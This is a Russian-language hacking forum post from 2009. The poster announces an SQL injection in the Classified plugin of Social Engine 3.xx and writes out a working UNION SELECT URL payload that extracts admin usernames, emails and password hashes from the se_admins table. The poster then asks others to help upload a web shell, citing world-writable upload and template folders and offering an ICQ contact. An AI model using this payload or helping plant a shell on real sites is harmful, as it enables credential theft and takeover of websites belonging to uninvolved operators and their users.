18.01.2009, 16:52
|
|
Познающий
Регистрация: 18.01.2008
Сообщений: 31
Провел на форуме:
114816
Репутация:
13
|
|
Social Engine SQL инекция !
В движке Social Engine версия 3.хх на плагине Сlassified есть SQL инекция ! 
Вот sql инекция :
PHP код:
http://sitename.ru/browse_classifieds.php?s=classified_date DESC&v=0&classifiedcat_id=-1+UNION SELECT concat(admin_username,admin_email,0x3a,admin_password)
,2,3+from+se_admins
Как залить шелл ? Помогите друзья !
Вот это скрин таблицы se_admins
CHMOD 777 стоит в папках http://sitename.ru/uploads_user
и на http://sitename.ru/include/smarty/templates_c
Помогите друзья залить ШЕЛЛ кто сможет залить шелл стучите плиз на аску 405-801-351 в долгу не останусь  |
|
|